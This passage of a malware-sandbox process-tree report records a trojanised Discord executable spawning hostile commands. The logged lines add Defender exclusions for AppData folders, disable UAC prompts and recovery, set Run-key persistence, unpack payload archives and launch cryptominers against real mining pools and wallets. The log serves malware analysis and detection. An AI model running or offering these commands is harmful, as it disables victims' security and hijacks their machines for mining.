      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2168 /prefetch:1
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Loads dropped DLL
      PID:5892
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:8
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5960
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1 --enable-node-leakage-in-renderers
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Drops startup file
      Loads dropped DLL
      Checks processor information in registry
      PID:5364
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /q /d /s /c "C:\Program^ Files\NVIDIA^ Corporation\NVSMI\nvidia-smi.exe"
        5⤵
        
        PID:4640
    - - C:\Windows\SysWOW64\net.exe
        
        net session
        5⤵
        
        PID:1924
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:2812
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f"
        5⤵
        
        PID:2548
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f
        6⤵
        
        PID:3404
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force"
        5⤵
        
        PID:5420
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /hibernate off"
        5⤵
        
        PID:5936
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /hibernate off
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5336
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:3296
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4328
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5436
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5084
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
        5⤵
        
        PID:536
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2308
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reagentc.exe /disable"
        5⤵
        
        PID:5580
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force"
        5⤵
        
        PID:5640
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        5⤵
        
        PID:4848
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SoundServices.exe"
        5⤵
        
        PID:6124
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SoundServices.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5584
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3956 /prefetch:8
      4⤵
      Executes dropped EXE
      PID:3492
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1704,2573454940150220021,17150509419216090028,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3928 /prefetch:8
      4⤵
      Executes dropped EXE
      PID:3068
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord
      4⤵
      Modifies registry key
      PID:4060
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "C:\Users\Admin\AppData\Local\Discord\Update.exe --processStart Discord.exe" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3680
- C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe
  "C:\Users\Admin\Downloads\Krnl\KrnlBootStrapper.exe"
  2⤵
  - Executes dropped EXE
  PID:6000
- C:\Users\Admin\AppData\Local\Discord\Update.exe
  "C:\Users\Admin\AppData\Local\Discord\Update.exe" --processStart Discord.exe
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:3828
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    PID:5280
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://sentry.io/api/146342/minidump/?sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord Inc." --annotation=_productName=Discord --annotation=_version=1.0.9008 --annotation=prod=Electron --annotation=ver=13.6.6 --initial-client-data=0x47c,0x480,0x484,0x478,0x488,0x7a83850,0x7a83860,0x7a8386c
      4⤵
      Executes dropped EXE
      PID:1392
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1756 /prefetch:2
      4⤵
      Executes dropped EXE
      PID:5376
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2276 /prefetch:1
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:3680
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:8
      4⤵
      Executes dropped EXE
      PID:4120
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1 --enable-node-leakage-in-renderers
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Drops startup file
      Checks processor information in registry
      Suspicious behavior: GetForegroundWindowSpam
      PID:2304
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /q /d /s /c "C:\Program^ Files\NVIDIA^ Corporation\NVSMI\nvidia-smi.exe"
        5⤵
        
        PID:5332
    - - C:\Windows\SysWOW64\net.exe
        
        net session
        5⤵
        
        PID:5220
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:5208
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f"
        5⤵
        
        PID:632
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f
        6⤵
        
        PID:3556
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /hibernate off"
        5⤵
        
        PID:1152
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /hibernate off
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5740
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:3968
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1964
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4856
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
        5⤵
        
        PID:2752
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5792
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reagentc.exe /disable"
        5⤵
        
        PID:3952
      - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:3520
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force"
        5⤵
        
        PID:3120
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3296
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force"
        5⤵
        
        PID:5204
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        5⤵
        
        PID:4852
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SoundServices.exe"
        5⤵
        
        PID:4828
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SoundServices.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4832
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im dllhost.exe"
        5⤵
        
        PID:3660
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im dllhost.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im taskhostw.exe"
        5⤵
        
        PID:1292
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im taskhostw.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1532
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe""
        5⤵
        
        PID:5260
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe"
        6⤵
        Adds Run key to start application
        
        PID:4560
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force"
        5⤵
        
        PID:5616
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:876
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5956
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe -pool us-eth.2miners.com:2020 -wal 0x07D13CF48739BCb0b227f7A15095B2f3E8d9b107.PM_ID_Admin -gpow 75%"
        5⤵
        
        PID:5148
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4820
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5076
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5284
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2016
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:4932
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5436
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:848
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:2124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5728
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5224
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:2520
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5012
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1152
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:6140
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4248
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5084
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4456
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2712
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:6052
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4728
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5136
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:1428
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:1140
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:6100
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4404
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4136
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:732
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1064
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5704
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5332
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4664
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5060
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:6104
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe -pool us-eth.2miners.com:2020 -wal 0x07D13CF48739BCb0b227f7A15095B2f3E8d9b107.PM_ID_Admin -gpow 75%"
        5⤵
        
        PID:5400
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\XR.zip -DestinationPath C:\Users\Admin\AppData\Local\Microsoft -Force"
        5⤵
        
        PID:4508
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\XR.zip -DestinationPath C:\Users\Admin\AppData\Local\Microsoft -Force
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:892
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\XR.exe -o xmrpool.eu:3333 --cpu-priority 4 --algo rx/0 -p x -u 45vPYdUaSyahwjRdi1C3UoBhJ2CLzUjaDZwRp94G95VYheZMBZfic6KXJsECKQXv9VVqQNP6v7uHMgfopx8QDEJLPqd6i9R+Admin -t 2"
        5⤵
        
        PID:5480
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:428
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5584
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:2908
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:6108
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4648
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SoundServices.exe"
        5⤵
        
        PID:4620
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SoundServices.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im dllhost.exe"
        5⤵
        
        PID:5088
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im dllhost.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4108
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im taskhostw.exe"
        5⤵
        
        PID:4072
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im taskhostw.exe
        6⤵
        Kills process with taskkill
        
        PID:5652
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe""
        5⤵
        
        PID:5784
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe"
        6⤵
        Adds Run key to start application
        
        PID:5944
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force"
        5⤵
        
        PID:3444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force
        6⤵
        
        PID:5000
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5696
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5536
      - C:\Windows\SysWOW64\tasklist.exe
        
